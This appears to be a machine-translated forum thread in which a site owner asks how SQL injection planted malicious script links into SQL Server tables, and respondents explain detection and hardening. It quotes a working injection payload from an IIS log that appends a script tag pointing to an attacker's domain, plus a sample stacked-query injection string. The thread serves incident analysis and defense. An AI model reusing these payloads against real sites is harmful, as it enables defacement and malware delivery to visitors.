Has anyone found out how this was done? SQL injection

Since so many other sites have been affected, I have to assume that this is a bot!

He introduced the script with: Yesterday: http://google-stats50.info/ur.php Today: http://google-stats49.info/ur.php

He entered it into several tables.

First, how did he identify tables and columns?

Secondly, what should I look for in the logs to identify the original page?

We do not have ftp on any of our servers. We have 1 contact form, but this is email and is not even connected to the database.

We use SQL Server and IIS.

+4
source share
5 answers

You probably have a page that does not check / misinform user input. TextBoxes and QueryStrings, which are used to provide SQL Query parameters, are usually used in a SQL Injection attack (there are other ways, though ...). In addition to this, you probably do not use parameterized queries when accessing the database.

This will lead to a world of pain.

Most likely, they found out the structure of your database by querying the system tables:

 SELECT * FROM sys.Tables 

And column names:

 SELECT * FROM sys.columns 

Some links you should pay attention to:

If it was my site, I would drop ALL until the site was protected. Your site and database are at serious risk.

+6
source

This particular attack, unlike some of the past that will go through the system object table, is performed by analyzing your error pages and then creating new update requests that are specifically designed for known tables and tables.

You can find the hole by looking at your server’s logs. Find "cast" ("which can be found in most, if not all SQL injections."

Below is an example of some data taken from my journal so you can see what is being done.

Luck

 2010-09-23 10:30:16 W3SVC1302398943 DM100 192.168.12.10 GET /search/List.cfm D_Dealer_GUID=3f8722ff-6f72-4530-a953-09c39dd389601'+update+q_ntd+set+Body=cast(Body+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(52)%2Bchar(57)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 80 - 77.78.239.56 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv: 
+3
source

What he does is search for ".asp? Product-id =" on the Internet and use it for injection. The guy above should be canonized and sent to Rome. Here's how you can handle this:

  • Go to the Windows web server.
  • Go to the search.
  • Do a search for the contents inside the file. Find "cast" ("
  • If it is located on one of your sites, it will be displayed in the search log.
  • Open the log in the text box. Do a search on "cast" ("
  • You will know it when you see it. This is an obvious hack. This should not be an update statement. This injection is contrary to choice. Record the page name.
  • Go to the MS SQL console.
  • Create a server role. Call it a database read or something else.
  • Log in to your database in the console. Turn on security.
  • Find the role. Give him a data reader and denylwirter privledges.
  • Upload your web page.
  • Change the connection string from sa (or any other) to read the database. Make sure he read only the private sheets and nothing else.
  • Check out the page.
  • Go to IIS and turn off error messaging for your site as follows. Get the properties on the site, select the home directory, click "Configuration", go to the "Debug" tab. Turn off error reporting.

This should protect your site (hopefully).

+1
source

Do any query string parameters on your site execute directly in the database? I had a similar appearance a few years ago - a very similar SQL injection, the script moved to several tables, several columns. It turned out that we used the numerical field directly from the query string without filtering the input (on our part), which allowed the attacker to do something like this:

SELECT a, b, c FROM table WHERE d = 0; Table UPDATE SET col = 'script'; -

If the query table contains the table "0; UPDATE SET SET col = 'script'; -".

0
source

I do not know the details of this particular hack.

If this is similar to the attempts that I saw a couple of years ago, although this link will help explain

  • How did they do it.
  • What to look for in IIS logs to identify problematic web pages.
0
source

All Articles